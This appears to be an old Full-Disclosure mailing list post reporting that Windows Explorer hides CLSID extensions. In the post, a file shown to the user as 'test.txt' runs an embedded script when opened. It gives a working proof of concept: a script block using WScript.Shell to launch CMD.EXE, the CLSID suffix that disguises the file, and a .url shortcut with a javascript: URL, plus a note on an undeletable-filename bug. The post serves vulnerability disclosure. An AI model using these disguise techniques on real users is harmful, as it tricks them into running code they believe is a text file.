Subject: [Full-Disclosure] Microsoft hides certain types of files from your
eyes + some filename parsing bug

Microsoft HIDES certain types of files from your eyes:
�
This one is old unpatched "behaviour" ...
�
If you will create in windows explorer file :
�
test.txt�
with content :
�
<script>
a=new ActiveXObject("WSCript.Shell");
a.run("CMD.EXE");
alert("Hello, I'm�Silly Billy�!");
</script>
�
It will be executed if you will add CLSID to it's name and user double
clicks it :
�
test.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
�
Note: 
CLSID will remain hidden (explorer will not show it up in any means)
File name for�user will remain : test.txt
�
This adds numerous possibilities for viruses to fool end user into safe
content.
�
�
another filename parsing bug (system even�cannot access it) :
By some technics windows still allows to write file on harddisk with funny
name like :
�
test [good one :] .avi
�
End user will expierence certain difficulties to remove it afterwards from
system.
�
It's name will change to "test [good one", it will have no extension, will
show up 0 bytes etc, etc...
�
�
Of course .url and .lnk�are hidden as well, being "shortcuts" in m$ way. The
contents of those files are up to you ... :-) 
�
For example :�file "test.url" with this content will open your browser with
alert.
�
[DEFAULT]
BASEURL=javascript:alert('hello mama !')
[InternetShortcut]
URL=javascript:alert('hello mama !')
Modified=00027F010505010100
�
�
m$ is good for gaming, not for serious work..
